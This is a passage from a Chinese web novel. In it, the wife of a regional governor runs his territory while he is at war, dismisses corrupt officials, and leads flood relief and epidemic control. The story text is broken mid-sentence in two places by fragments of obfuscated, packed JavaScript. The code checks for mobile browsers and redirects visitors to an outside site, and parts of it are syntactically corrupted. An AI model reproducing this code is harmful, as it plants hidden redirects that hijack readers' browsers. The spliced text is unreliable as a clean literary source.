这意味着,启朝的内乱在往好的方向发展,终于有心力管管反叛出去的地方了。 这对反王们来说是个坏消息,包括观淇九地。 林公公一行人直奔总督署,夏知霜事后从傅杭的转述中得知,朝廷要刘宁和微生湘亲征,攻下观淇九地周边的一众乱臣贼子,收复大启的固有疆土。 这下不妙了。 启朝鞭长莫及,腾不出手去收拾那些叛党,把艰巨的任务推给刘宁和微生湘,让观淇九地冲上去当马前卒。 那些盘踞一方的反王个个是狠角色,没一个是好对付,可想而知这个任务有多艰巨。 夏知霜不放心,匆匆赶去总督署。 林公公比她先一步溜走了,他从头到尾神色自若,但俨然把观淇当成了龙潭虎穴,半点都不肯多待,生怕被生吞活剥了。 见了刘宁后,夏知霜得知了更坏的消息,皇帝没有下达圣旨,传的是口谕。 她的脸色霎时变得难看:“我们……成了弃子?” 观东还没恢复到鼎盛时期,光是对付一个高淙就焦头烂额,现在皇帝要他们对上高淙、中熙、睢国等十数个劲敌,这不是要他们去送死么? 刘宁面色沉郁,点了点头。 这是个无解的阳谋,更糟糕的是,那两道圣旨,打破了观淇九地持续了十几年的平衡。 从袁公公和林公公的一系列行为中,不难揣测出皇帝给平王府下达的圣旨里,绝对有不利于观东刘氏的旨意。 平王微生湘至今都没有宣告淇南六郡独立,为了继续占住道义,微生湘定会遵循旨意行事。假如观东抗旨不出征,淇南头一个要打的,恐怕就是观东。 可若刘宁依照口谕和微生湘一同出征,会陷入了两难的境地,一边卖力攻打邻国,一边更加提防淇南。 而且林公公悄然入观淇,悄然传口谕,外人谁也不知皇帝下过这道口谕。 假如他和微生湘顺利平定那些反王,朝廷坐收渔翁之利,卸磨杀驴,趁观淇九地元气大伤时派大军来“缴清观东余孽”,他到哪说理去? 淇南那边至今态度暧昧不明,万一朝廷届时当真不认这道口谕,反口怪罪观东刘氏假传圣旨,微生湘究竟是站朝廷那头,联合朝廷借机把观东四郡收入囊中,还是站情同手足的刘宁这边,在刘宁落难时拉他一把? 一切都是未知数。 那劳什子口谕就是烫手的山芋,接不是,不接也不是。 “我最担心的情形,到底还是发生了。”鲁元沉沉叹道。 观东庆祝刘宁封候之夜,他就料到了可能会有今天的局面。 乱世之中,想要独善其身难如登天。 夏知霜怀着希冀,亲手给鲁元添茶:“既然军师早有预料,不知可有妙计化解?” 刘宁也看向鲁元:“世叔若有对策,但说无妨。” “这事不好办啊。”鲁元捻了捻胡须,习惯性想卖个关子,咂摸此事干系到观东的存亡,很快又补全后话,“朝廷的话不可不听,又不能全听。” 出征是一定出的,邻地也是要打的,但何时出征、打多久,朝廷管不了。 刘宁和夏知霜四目相交,领会了他的意思。 打仗嘛,刀剑不长眼,凭你是总督还是平王,肉眼凡胎免不了受伤,受伤之后退回故居养伤,谁又能指责他一二? 总督都回去养伤了,观军群龙无首,出什么岔子都是合理的,随便打打谁又能责罚他们。 观军不出力,淇军哪肯挡在前头卖命,这不是吃力不讨好吗! 人心不齐,这仗就不可能打太长时间,口谕什么的三两下就糊弄过去了。 鲁元说:“只不过,主君到时除了受些皮肉之苦,还要承受一些非议。” 要想瞒过狡猾的平王,还需刘宁真切的挨上一刀,太轻不能从前线退下来,太重会危及性命,这个度很难把握。 刘宁和平王齐名,二人一道出征,单他受伤而返,许会被人奚落他的武艺和策略远不如平王。 刘宁看得很开:“阿潮十一岁就征战沙场,这方面我确实不如他,遭人取笑无关痛痒。” 夏知霜漫步回到他身边,也道:“些许虚名何足挂齿?收复观东的那几年已足够证明你的英武。” 留得青山在不怕没柴烧,她真心觉得只要能从朝廷的算计中全身而退,受点皮肉之苦,折损些名声,算不了什么。 鲁元观他们没有异议,告退去做事了。 屋里仅剩夫妇二人,面色俱都不好。 夏知霜忧心忡忡:“你若离开,我怎么办,四郡怎么办?”思及他要承伤,她愈发不安,“战争不是儿戏,要是你有个三长两短,我……” 刘宁不欲她胡思乱想,握住她的书,打断她的话:“别担心,虽是亲征,我多数时候是在营帐中筹划。即便要到战场上去,杜川形影不离,重重影卫护佑,我不会有事的。” 夏知霜如何听不出这是安慰的语,不忍辜负他一片好心,只好强颜欢笑。 又忙过几日,刘宁把一个盒子交给她保管。 他心思百转,细细嘱咐:“军师留守里兴,我走后,若有紧急事务,你可与军师商议。每逢政令下发、调令下达,军师会先询问你的意见,你不可偏听偏信,凡是要有自己的主见。” 夏知霜震惊,为他肯放权给不懂政务的她,也为他要她戒备鲁元的话而奇怪:“怎么,军师信不过?” 刘宁摇头,个中复杂一时半会说不清,简短解释:“人生在世,总有一二追求,有人图名,有人逐利。军师贪权,凡事我心有思量,自是压得住他,你不通晓军政要务,或会被他欺瞒糊弄。” 官员有不同的党派,无人不想排除异己,最大限度的给自己搂好处。 鲁元是俗人,他有自己的派别,也有他的私心。 刘宁看她似懂非懂,举了个例子:“你看,我幕僚门客众多,去哪都是前呼后拥。小事上,群贤齐聚,集思广益。可转到大事,你见谁跳出来跟你我共商?” 夏知霜默默回想,还真没有人冒头,一个都没有。 是那些人智慧不够吗?当然不是,能在刘宁跟前拥有一席之地,个个都是聪明绝顶的人精。 是那些人怕惹祸不敢献计吗?更不是,努力挤进总督署的人,没有谁不想出人头地,不想建功立业。 那些人捧着一腔热血向刘宁,被鲁元按着头一个个狠狠压下去了,这么多年没谁敢逾矩。 刘宁不是不知道那些小把戏,鲁元好用、够用,加之鲁元聪明,只跟底下的人“独”,从不犯上,他就睁只眼闭只眼,不想过多计较。 换到一张白纸般的夏知霜坐到鲁元头上,情况可能就不一样了。 要她说的话,刘宁好似一座五指山,这座山暂时离开了,被镇压的鲁元还不知道会闹出什么事。 夏知霜有点想明白了,鲁元享受挥斥方遒的快意,极有可能会趁她什么都不懂而架空她,占一占以前不敢占的好处。 她渐生防备,可要怎样预防被架空,还一点头绪都没有。 “我只是打个比方,未必会到那个地步,”刘宁轻拍她的手安慰,“不必过于劳神,军师是观东的军师,出不了什么纰漏。” 鲁元只是恋慕权势,大是大非上非常拎得清,他是个十分孝顺的人,老母临终前要他报答老总督的知遇之恩,他便兢兢业业效力总督署几十年,绝不会作出有损观东利益的事情。 他是个大才,纵然有点小癖好,不影响他在总督署的份量,人无完人嘛。 刘宁不是要她和鲁元打擂,只想她约束一下鲁元,为观东好,也是为她好,这是她树立威信的好时机。 话说到这程度,他就差手把手教她怎么一步步御下了,夏知霜岂会不懂他的良苦用心。 她挽上丈夫的臂弯,脸上染了三分笑意:“我的好总督都对军师礼让三分,为妻自是要夫 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淇军吃糠咽菜,隔壁观军吃香喝辣,每次观军一开伙,热腾腾的香气飘到淇军的营帐,真是叫人受不了。 不出一个月,有个贪嘴好吃的将军带着部众归顺了观东,然后“叛逃”到隔壁的人一个接一个,给老平王气个够呛。 打那之后,两边的大军一起出征都得拟出个章程。 这次也一样,双方来回拉扯。 一来二去,拟了足足俩月,观淇九地的意见终于达成一致。 柿子挑软的捏,总督署和平王府一致决定攻打淇南西部的木昌小国。 木昌国这么些年被淇南蚕食了四分之一的领土,如今观淇大军压境,木昌凶多吉少。 换句话说,除了疆域宽阔和粮食富足的睢国,周边邻地无不惧怕观淇的联合大军。 拟定具体事宜之后,另需十日的时间做最后的准备。 出发在即,新婚不久的小夫妻难分难舍,夜里极尽缠绵。 时间流逝一刻,相处的时间就少一刻,小夫妻顾不上什么羞耻,开发了很多闺房乐趣。 烈日炎炎,夏知霜换上薄薄的纱制睡裙。 刘宁果然很喜欢,爱死了温香软玉要遮不遮、要露不露的朦胧美感,一整夜都没脱。 最后昂贵的纱裙沾上了干了又湿、湿了又干的混合物的痕迹,洗完也是皱巴巴的,只能用完即丢,损耗有点高。 奢侈啊!浪费啊! ……但是很享受。 夏知霜纠结半响,不想过度浪费,又不愿放弃快乐的情趣,决定偶尔穿一穿了。 大军开拔那日,夏知霜背着人,羞答答递给他一个荷包:“这是我亲手做的,绣得不好,你别嫌弃。” 这是章氏建议她所绣,夫妻分离太久不是好事,有个贴身物件睹物思人才好维系感情,她便在月樱的指导下做了个竹叶图的荷包。 她没有谦虚,当真绣得一般。 虽说她在陈家学过一段时间的刺绣,当时是赶鸭上架,做出来的东西只是勉强能看,现下技艺荒废了两年,最终的成品当然不能跟专业的绣娘相提并论。 刘宁郑重地收下了,诚然,他从小到大的吃穿用度很精细,可是他从未如此感动。 绣艺于他而言变得无关紧要了,他爱惜的是妻子对他的心意。自打他们成婚后,她就对他全心全意。 刘宁抚过她指上的针眼,满眼心疼:“我的霜霜是天底下最好的女子……只一样不足,对一个人好就恨不得掏心掏肺,不及爱惜自己。” 夏知霜笑着甜蜜:“听说妻子送丈夫远行,都要送上手制之物寄托思念,别人有的,你也该有。” 她看到过杜川的妻子给杜川绣汗巾,既是观淇风俗,她岂能忍心丈夫什么都没有。 刘宁深深看她,执起如玉般的柔荑,在针眼上落下轻吻。 段敖等人瞧了眼日头,嘀咕一向早到的主君怎的还没到,马儿们悠闲地打了个响鼻。 辰时三刻,刘宁身披甲胄,骑着名为“昼云”的白色骏马,率军前行。 夏知霜跟了一路,最后站在城墙上,望着他走远,再走远,直到变成黑点消失不见。 44. 第 44 章 大军一走,感觉里兴瞬间空了大半,整个观东陷入了沉寂。 各家各户都有父亲、丈夫、兄弟和儿子上了战场,实在令人高兴不起来。 刘宁留下了傅杭,傅杭协助夏知霜处理很多事务,像四郡底下的大州小州申请的各项拨款,她没接触过,心中没底,傅杭熟门熟路找出昔年的账册。 夏知霜听他详细讲解,翻阅往上三年的拨款记录,差不多能摸清什么款项能拨,什么款项是禄蠹在捞财。 刘宁离开后,平时装得两袖清风的贪官就露出了狐狸尾巴,想趁她不懂政事,管得宽松,大吃特吃公款。 贪官派了加急文书,明面上是催促她速速决断,暗地里以“延误一日当地百姓多受苦一日”为由逼迫她快点拨款。 偏偏夏知霜不喜受人胁迫,看得怒火中烧。 她把禄蠹的名单抄下来,让傅杭拟定罢官书,用总督印盖上章印。 罢官的理由很充足,收受贿赂。证据是她从青阳城一比一搬过来的陈父密室中,陈父与该官员的书信往来,和记录那么多年的送礼送钱的账册,种种明细罗列得清清楚楚,绝无抵赖的可能。 总督印是刘宁特意留下,他预料到会有这个局面,把大印留给她用来震慑贪官污吏。 她那时还笑问:“这么重要的东西交给我,不怕我滥用职权?” “你明目张胆问我,正说明你不仅不会滥用,还会慎用。”刘宁揽住她纤细的腰肢,四下无人偷香一口。 她心里美滋滋,嘴上故意说:“那可说不准。诶,我跟你说正经的,你真不后悔把最贵重的大印交给我保管?” 刘宁扣紧她腰杆,香软娇躯更深的依偎进他怀中,他低低笑道:“这世上我唯你一个亲人,只你一个能全然信赖,我的一切愿与你同享,无论将来发生何事,绝不后悔当时当下。” 刘宁跟她一样敢爱敢恨,他的全心信任让人欣喜,亦感沉重。 夏知霜从回忆中缓过神来,看着傅杭领走罢官书的背影,有种大权在握的难以言喻的爽快,也有种生怕做错决定的恐惧,下意识往前走了两步。 现在叫傅杭把罢官书拿回来还来得及。 但她顿足目送,从头到尾没有出言阻拦。 恐怕刘宁想不到她会那么快就使用了大印,他原意是想留给她傍身,她擎着大印,官员们的生杀大权握在她手中,那些假公济私的贪官有所顾忌,不敢肆意妄为。 刘宁是想要她虚张声势,震慑狗官,手段偏温和,而她直接用了大印整治狗官,方式偏激进。 鲁元得知她豪放的罢官手法后,也是给了“激进”的评语。 夏知霜解释说:“震慑他们也无不可,只是接下去要面对他们退而求其次的百般试探,烦不胜烦。不如杀一儆百,让他们知道别轻易惹我才好。” 她事多人忙,没空应付那些狗官的无理取闹,从根源上杜绝他们的冒犯是最高效的办法。 鲁元捻了捻胡须,没再多说什么,面上风轻云淡,心底惊讶和欣赏她的狠辣。 他从前指导过她如何在陈记站稳脚跟,她立足后能牢牢把控陈记至今,有点出乎他的意料,本来他都做好了会被她来信咨询后事的心理准备。 现在她自行决断罢官,再次出乎他的意料。 士别三日,刮目相看。总督想方设法娶回来的这位夫人,真是个了不得的人物。 鲁元有心试探,复问:“空缺出来的官职,不知夫人作何打算?”倘她瞻前不顾后,没有主意,他可要借机推荐自己的门生了。 夏知霜微微一笑:“军师日理万机,岂能让军师挂心这些小事?我已拟好了人选。” “莫非是聚贤庄的人?”那都是些粗人,如果真是从聚贤庄铨选,鲁元可就有话要说了。 夏知霜摇头:“聚贤庄的贤才无资无历,尚不能担当重任,空缺的位置该由官场上的贤能去填补。” 至于怎么填补,那很简单。 陈父的密室中收纳了众多官员的信息,哪个“不识抬举”不爱收孝敬,哪个是为了不被排挤而意思性的收一点做掩饰,里面的档案记得一清二楚。 夏知霜想提拔的,就是刚正不阿的清官。 这些人总归是少数派,填补不满所有空位,她便按照档案上没那么贪的官员再提几个上来。 水至清则无鱼,只要为官者怀着父母心,严守底线,站在百姓那一边做实事,她当做没看到他们搂钱的黑历史。 她觉得官场和商场有很多共通之处。 瑜记的掌柜惯爱拉帮结派,会谋求利益而互相陷害,胆大的还会阳奉阴违偷窃公款。只要他们对瑜记忠心耿耿,不反叛她,她不会计较那些蝇头小利。 贪婪是绝大多数人的本性,换个人上来,难保不会更贪。 鲁元听完她的思路,彻底没了话头。 随着几张罢官书分发下去,蠢蠢欲动的官员们奇异般的安分了,四郡的官员之间难得的和谐。 他们一方面担心惹恼夏知霜保不住项上的乌纱帽,一方面忌惮她手中有他们和陈父的信件和账册,把柄在人家手上,他们哪里敢作妖。 夏知霜一通雷霆手段,算是震住了官吏。 她抽空召见了张明博,一通饶舌后,她直言道:“幽州青阳县缺一县令,”看对方面不改色,是个沉住气的人,她接着说,“还缺一主薄,若我属意你为青阳主薄,你当如何?” 张明博没有停滞,俯首谢恩:“小生德薄才疏,承蒙夫人厚爱,愿为观东献上绵薄之力。小生岁短年少,担心绠短汲深,定会日日自省,绝不辱没夫人的栽培。” 他谢得真心实意,虽顶着观淇第一才子的美誉,然则没有半点功名,能做个幽州主薄试试身手,已是相当好的开局。 夏知霜满意他实事求是,没有好高骛远,不禁对他寄予厚望:“我和督宪欣赏你,不求你大有作为,但求你做个一心为民的好官。” 寥寥数语,却是真心话,可算殷殷嘱咐。 张明博颇为动容,深深向前一揖:“学生省得了。” 他从善如流改口,从今往后,他算是她的门生了。 不出几日,任职文书一一颁发,被点到名的人多年来受到同僚的排挤打压,从傅家人手中接过文书后,有种终于熬出头的欣喜。 文书下发,尘埃落定,对此有异议的官员不便再多言,毕竟文书上盖了总督印,他们再上书反对就是藐视主君,乌纱帽同样岌岌可危。 晋升的官员走马上任,聚贤庄的贤才陆陆续续到派发的岗位报道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733608|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏知霜曾和刘宁商量过怎样安置聚贤庄的人,按照商议出的结果,刘宁设了农学和工学两个大岗,衙门就捡现成的聚贤庄,稍微改造即可。 他们夫妇分别是两个大岗的负责人(挂名的),岗内设有官匠等职位。 官匠顾名思义,官方雇佣的匠人,分有五个等级,以一级为尊。 廖老伯等人如今是农学的官匠,归夏知霜名下管理。扈玉山等人则是工学的官匠,名义上归刘宁直接管理,实际上由她代管。 官匠到岗后,该去冶炼的去冶炼,该去种地的去种地,各司其职。 工学和农学两个官衙共用一个账房,夏知霜问过丁卯意见之后,把丁原任命为工农二学的主账房先生,配有六名伙计。 丁卯高兴坏了,走的时候满面红光,工农二学的账房是重中之重,儿子当了那里的主账房,真正吃上了公家饭,这位置比他原先挤破脑袋都要进的彤州县衙的账房强了几倍。 丁原欣然赴岗,他感激夏知霜的再造之恩,干起来格外卖力。 与此同时,官匠们的家小被接到广秀楼妥善安置,广秀楼七成的空屋住了人,将来还会有人源源不断的入住。 夏知霜此时才明白,当初刘宁要她扩建广秀是对的,后续扩建的事,她全权交给傅榆负责。 处理完这些事,刘宁的信到了。 他果然没有反对她使用大印,夸她这招使得好,点评她哪个步骤急躁了,哪个地方收敛了。 看他的意思,显然对她只把张明博安插到文官体系中感到意外。他又点出三四个人来,告诉她可以安插到四郡去,似张明博那样从小官小吏培养起来。 看到这里的时候,夏知霜红了眼眶,心里很不是滋味。 她不辞辛苦建立聚贤庄招揽人才,诸事亲力亲为,虽说有十分之八的好心是为了建设观东,但剩下的十分之二的私心是为了培养自己的人马。 她和刘宁对此心照不宣。 夏知霜自认不是想夺权,她只是觉得不安,怕自己坐不稳总督夫人之位,也怕刘宁因她的出身被人耻笑。 他们门第悬殊,她膝下又无子嗣,背地里遭人说过不少闲话。她不止一次在茶馆食肆里听到过别人嘻笑,笑堂堂观东侯迎娶一介员外之子的遗孀。 多少个难眠的深夜,她都害怕自己会失去现今拥有的一切。 她越贤惠,他才不会被人指摘,保持住刘氏的威望。她坚定的招贤纳才,要在政治上也对刘宁有用,才不会时时刻刻担心色衰爱弛被厌弃。 刘宁多少察觉到枕边人的不安,他没有限制她的野心,反而手把手指点她怎样栽培心腹。 他口上的全然信赖不是说说而已,是实打实的落到了实处。 这样好的丈夫,天底下难找出第二个。 夏知霜吸了吸鼻子,含泪给他回信,温柔地叮嘱他照常用膳,百事以身体为重,万不可积劳成疾。 他离开不到半个月,她就想念极了他。 信送出去后,她为了转移注意力,把精力都投入到学习处理政务上。 在傅杭的辅助,以及鲁元的佐理下,观东四郡安稳如昔,短期内暂无风浪。 怕什么来什么,七月初,观淇汛期时,九地不少地方被山洪吞噬。 45. 第 45 章 四月到七月是观淇水脉的汛期,九地位于中下游,每当遇到雨水丰沛的年岁,防洪就是老生常谈的话题。 观淇防患于未然,修建了不少水利工程,光是用于灌溉的水渠就修了许多条,年年拨款维护堤坝。 观东这边沿着江岸设有三个水文观测台,然而洪涝奔腾而来往往是瞬息之间。路途遥远,交通又不便利,纵是六百里的加急马报,消息传到总督署时,水灾往往已经闹起来了。 天灾防不胜防,今年的状况同是如此。 今年的雨季迟迟不来,正以为能平安度过汛期,两江的上中游迎来数天大雨。 而今江河倒灌,良田浸泡,房屋被迅猛的山洪吞噬,一批百姓被大水冲走,一批百姓不知所踪,剩下的四处逃窜。 总督署收到消息后,夏知霜和鲁元即刻下达疏散洪灾附近百姓的指令。 经过多次商议,她交代傅杭和幕僚吕麟等人留守里兴,她和鲁元马上启程,带上物资支援最严重的灾区。 四郡之中,平原占地广的台开郡受灾尤为严重,其中又以灵州情势最是严峻。 幸好各地的州牧和知县反应较快,不及等总督署签发的凋令,先一步疏散了观江周边的人群,将伤亡控制到了最小。 夏知霜在路上给各地的郡守回了朱批,人命关天,但凡有希望救回的子民,不计财力去救助。 不用鲁元提醒,她优先给受灾严重的地方拨赈灾的钱银米粮。 然后她再次动用总督大印,调动石答郡和丰瑛郡的部分人力到台开郡救灾。为免有些人推脱耽误进程,浪费宝贵的救援时间,她给每个郡守定下具体的支援人头数目,勒令他们一天内调动人力,不容许郡守推三阻四。 她动用的人数过多,这些人一旦动身去灾区救援,各地留守的人力都要重新部署。这本不是总督印简单盖个就能办成的事,还需走两三个流程,各郡再把每个州拨出来的人员名单上报到里兴,总督署复盖一次印,文书下发回各处,官员确认无误遂依计行事,此事才算圆满。 眼下情况危急,一切从简,两页文书戳了两个总督大印就下发四郡。 台开郡和石答郡受水患困扰,大小官员忙得不可开交,巴不得里兴的公文简明扼要。 丰瑛郡和石答郡的郡守则对着一纸调令皱紧眉头,总督不在,他们猜不准文书的背后是谁拟定,都怕稍有不慎自己会担责。 当官的就盼着三件事:搂钱、晋升、不出错。 前两个都好说,有更好,没有也能过,后一个才是至关重要。要想不出错,或是出错了有人捞,跟对人很重要。 现在顶头有两套领导班底,一个是以鲁元和众幕僚为首的老班底,一个是以夏夫人和傅家的新班底。 总督刚离开,就有风声说这俩班人可能要掐起来。 有个郡守的师爷一脸很懂的分析:“本来嘛,一山不容二虎,一渊不两蛟,那两拨总要掐出一个来当这个(竖大拇指),不然朝令夕改不就乱套了吗?” 另一个师爷喝着小酒,唱着小曲儿,快活说道:“神仙打架,小鬼遭殃,俩神仙咱们一个都得罪不起。他们且掐去,咱夹着尾巴做人,等比出个高低,再去拜山头不迟。” 上到郡守,下至知县,都是这么想的,他们捧茶看戏,只等时间验证孰强孰弱。 没想到一个天灾就打乱了计划。 这短短的两页纸,盖了大印的公文,还不知道背后藏着怎样的烽烟。 公文上给的时限不多,官员们没有迷茫太久,他们来不及互相通气,便决定迅速点人,依照命令略过繁文缛节,直接把人力和物资发往灾区。 他们脑补要掐一架的两拨人,此刻正友好商谈。 实际上,夏知霜和鲁元没有外人认为的那样矛盾重重,她谨记刘宁的交代,平时礼遇鲁元,遇事先和鲁元商量。 ——他们还没到互掐的地步,就遇上了水灾。 分发到官员的公文,就是她和鲁元共同商量出来的结果。 说是商量,实际上她给出整个计划的大框架,鲁元补全细节。 收到各地来报,人和物都顺利打包上路后,但资源怎么分配,具体怎样救援,又是需要抉择的大事。 夏知霜和鲁元都是大局为重的人,不会为了提拔各自的心腹,胡乱塞人到救援的最前线挣功名。 双方没有私心,那就好办多了,彼此的好声好气中,一件件事被安排得明明白白。 千丝台没闲着,哪个官员尸位素餐,哪些人想发灾难财,包括哪个地方的物资以次充好,诸如此类的消息,查了个七七八八。 还没到台开郡,夏知霜在途中恼怒的又罢免了好几个贪官污吏。 月荷、月樱和月兰被她安排往返传信,她吩咐彩玉、丁卯和灾区附近商铺的掌柜筹备相关物资,该布施的布施,有多余人力的就以三倍月俸为赏,派去支援官衙的后勤。 日夜兼程抵达台开郡,夏知霜适时放权,交代鲁元抢险救灾时若遇到急事,可先斩后奏,不必事事先报到她跟前获批。 面对这份信任,鲁元郑重拜了一拜。 二人分道扬镳,去往灾区腹地的不同地段。 到了地方后,当地知县抽空接驾,给她在安排好了住处,带个小书房,她可以在里面办公,这里暂时安全,收发文书很方便。 然后每个人都很忙。 明明很忙,恨不能长出三头六臂,一天劈成两天用,官府还是抽了一波人来伺候她。 夏知霜婉拒无果,非常无奈,搞得她好像是来度假的……虽然她也有看不完的公文。 同行的骆怡没觉得这个安排有什么不对,她身份尊贵,能亲赴此地,在安全的地方监督底下的人做事,已经是非常尽责了。 “……是吗?”她觉得这跟想象中不一样,她想来做实事,可在这个书房干活,跟在里兴干活没什么不同,有种白来了的错觉。 “您千金之躯,这样就行!”骆怡语气笃定,赶紧又补了一句,“历代总督都是这么做的!”紧接着目露哀求,希望她好好呆在这里。 夏知霜默了默,没再提要求。 知县之后就不见人影,听说接完她就带人去救援了。 她每每看信、回信、歇息,听到时隐时现的哭声,有的凄厉悲恸,这是失去亲人的哭声,有的哀伤苦涩,这是失去屋舍钱粮的哭声。 夏知霜心里难受,忍了又忍,还是不顾阻拦,带上知县派来保护她的衙役出门了,直奔受灾现场。 她顶着雷暴雨去救助被洪水困住的村户,把成功获救的百姓安置到临时搭建的营帐。 天黑了又亮,亮了又黑。 她褪去华服首饰,每日荆杈布裙,和百姓同住散发霉味的茅屋草舍,吃的是和百姓一样的粗茶淡饭。有时人手不够,她不顾骆怡的阻拦,跟衙役一起去被淹的村镇救援。 然后骆怡等人被她遣去救人,暗卫队和郭家也在安置区忙忙碌碌。 总督夫人亲去救灾,郡守、州牧和县令等人自是不好高枕安卧,全员到场,个比个积极,效率前所未有的高。 夏知霜淌着腰腹高的水线,进到摇摇欲坠的屋舍,搀扶腿脚受伤的农妇,背着哇哇大哭的稚童,远离危险的地方回到安置区,完全不介意衣物被孩童身上的泥渍弄脏。 她自己不觉得辛苦,倒是吓坏了每个知道她身份的人。 大家好求歹求,骆怡跪了无数次,台开郡郡守就差以死相逼,总算叫她远离危险的地方。 她心中不安,闲不下来,便在临时搭建的安全区做后勤。 有老妪见到她忙前忙后,官老爷们还对她的指派服服帖帖,问给她包扎的大夫:“这位人美心善的夫人,是何许人也?” 这一片都是被收留的灾民,闻言都好奇的竖着耳朵。 郭良施完针,微笑:“那是咱们的总督夫人呐。” 出乎意料的答案,安置区一阵哗然。 老妪双手合十,含泪道:“阿弥陀佛,咱们总督真真娶了位女菩萨。” 谁说不是呢!灾民们纷纷赞同,尤其被她救出的人更是受宠若惊。 那般尊贵的人儿本可待在侯府享福,她偏要亲临灵州。她也本可在灵州的县衙或是驿馆歇息,但她以身犯险救出不少人,在安置区常对灾民嘘寒问暖。 他们吃的、用的和花的,皆由官衙和瑜记包揽,这些全是她调度而来,她还承诺官衙负责灾后重建。 锦上添花易,雪中送炭难,而“送炭”的人还跟他们这些草民吃住混在一块,他们如何能不感动呢?纵观九地的历史,找不出第二个如此为民着想的贵人了。 于是乎,在夏知霜不知情的时候,她和刘宁的声望一路飙升。 洪涝褪去,免不了一场瘟疫。 夏知霜和郭家人谈了一晚上,次日此,下发了所有灾区务必勤消杀的指令。 条件有限,物件的消杀只能用开水烫等原始的方式,烧水的柴火,由官府和瑜记各承担一半。 十个人里八个人嘟囔抱怨:费那事干嘛?耗钱耗力,太不值当了! 但这个是命令,郭良也出面呼吁大家勤洗、勤换、勤烫。郭家的名声在观淇有口皆碑,很多百姓都听信他的号召。 除了郭家人,四郡有名的大夫都被召集过来,共同研制时疫的药方。 各地的安置区里,每天提供两大桶清瘟下火的凉茶,民众随取随饮。 概因提前做了防护,一旦发现有人感染上疫病就及时隔离治疗,观东死于疫病的人数不到隔壁淇南的五分之一。 夏知霜没有藏私,派人通知了淇南那边怎样小心防护,不知是淇南没当回事,还是车马慢了那边收到消息时已然来不及,这次淇南的伤亡挺重。 若非郭亮和儿女研制出的解药配方很快传到隔壁,势必造成更多的伤亡。 瘟疫过后,接踵而至的是重建灾民家园的头等急事。 这时候新设的工学就派上了用场,聚贤庄招揽的第一批官匠里,还真有专业对口的人才。 夏知霜再次盖了总督印,要求受灾当地的衙门配合官匠,丁原得她的密令,爽快的拨款到灾区。 这些钱不意味着任由官匠胡乱分配,全程有账房的人盯着每一项支出的明细,若有不合理的账目,有专人调查误差在不在合理范围内。 总之,官匠要人有人,要钱有钱,如火如荼地重建城镇村堡。 到了这个地步,夏知霜不需要再全程盯着。 她再次回归里兴,竟已至十一月。 归家的第一件事,夏知霜郑重的把总督印归还到锦盒中。 这段时间她算是拿到了总督的体验卡,坐在万人之上的位置,享受官员的服从和民众的敬仰。 不得不说,当土皇帝的感觉可真美妙啊……太爽了有木有! 她恋恋不舍地瞄了眼总督印,重重合上盖子。 紧随而来的是日夜忧思不宁。 刘宁的信停在两个月前,那时他说万事俱备,即将和微生湘奔赴前线,他不能再及时传递信件回来,要她切莫担心。 此后的七十六天,他当真信讯全无,只听探子说观淇大军攻下了哪个位置,谁人又立了大功。 其实没有消息就是最好的消息,可是不知道丈夫的安危,夏知霜始终茶饭不思。 月兰等几个丫鬟看她日渐消瘦,她们想尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738416|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了法子,怎么都哄不了她多进一些膳食,个个私下里愁容满面。 最稳重的月兰找了个时机安慰她说:“总督在前线多是在后方发令,杜大人武艺高强,护卫们本领过人,定不会让总督有事的。” 这个道理夏知霜何尝不知,心意不由人控制,该担心的她还是要担心。 好在彩玉的到来分走了她的部分心神。 侯府的男主人不在,彩玉没再忌讳,频繁进出侯府。 商行和商会受到灾情和疫病的影响,小半年来处于亏损状态。 唯一值得高兴的是,通往内陆的商线没有受到战火的影响而完全断绝,出海的船队不受限制正常往返,杂货铺照旧盈余,能贴补到别的商行。 彩玉汇报另一件大事:“近期来,睢国、高淙和中熙等地查封了我们十几家商铺,依我看,这只是个开始,咱们要早做打算。” 夏知霜顿住举到半空的茶碗,眉目变得凌厉。 生意愈火,风险愈大,从前他们家的商铺不是没被封过,世人皆知他们是富商,每个地方的衙门有事没事就爱榨一榨他们的油水,人在屋檐下,他们很多时候选择大事化小,小事化了。 架不住有的官员贪得无厌,杀鸡取卵,直接查封他们的店,财货搜刮一空,扣押掌柜等人,他们花钱去赎人时衙门又能吃上一笔。 民不与官斗,有些损失在所难免,他们只能隐忍,用一家店的损失换来其它店一年内平安无事。 这一回不同,局势过于动荡,战火一触即发,每个小国都可着劲捞钱。战争需要的花销太大了,他们犹如深渊巨口,形同饕餮巨兽,瑜记短期内被迫关了那么多店,继续妥协换来的只会是血本无归的下场。 所想不过几瞬,夏知霜当机立断:“关停观淇之外的店,货物悄悄运到秘密仓库保存。切记,不可放到同一家仓库,多分几个仓库存放。” 彩玉记下了,跟她探讨完具体事宜,陪她用了一顿饭。 夏知霜胃口不怎么好,但遵守着客人先放筷子主人家才能停箸的礼仪,不知不觉多吃了一点膳食。 月兰等人喜得互相递眼色,恨不得每天都有客人来才好。 饭后,彩玉还怀着别的忧虑,欲言又止。 夏知霜挥退下人,拉着她的手:“你我不是外人,有话不妨直言。” 彩玉苦笑:“观淇有令,女子年过二十仍未出嫁,官媒便要出面做主。我还有三个月就满二十,尚未婚配,官媒的人已经找上门,委婉提点我了……” 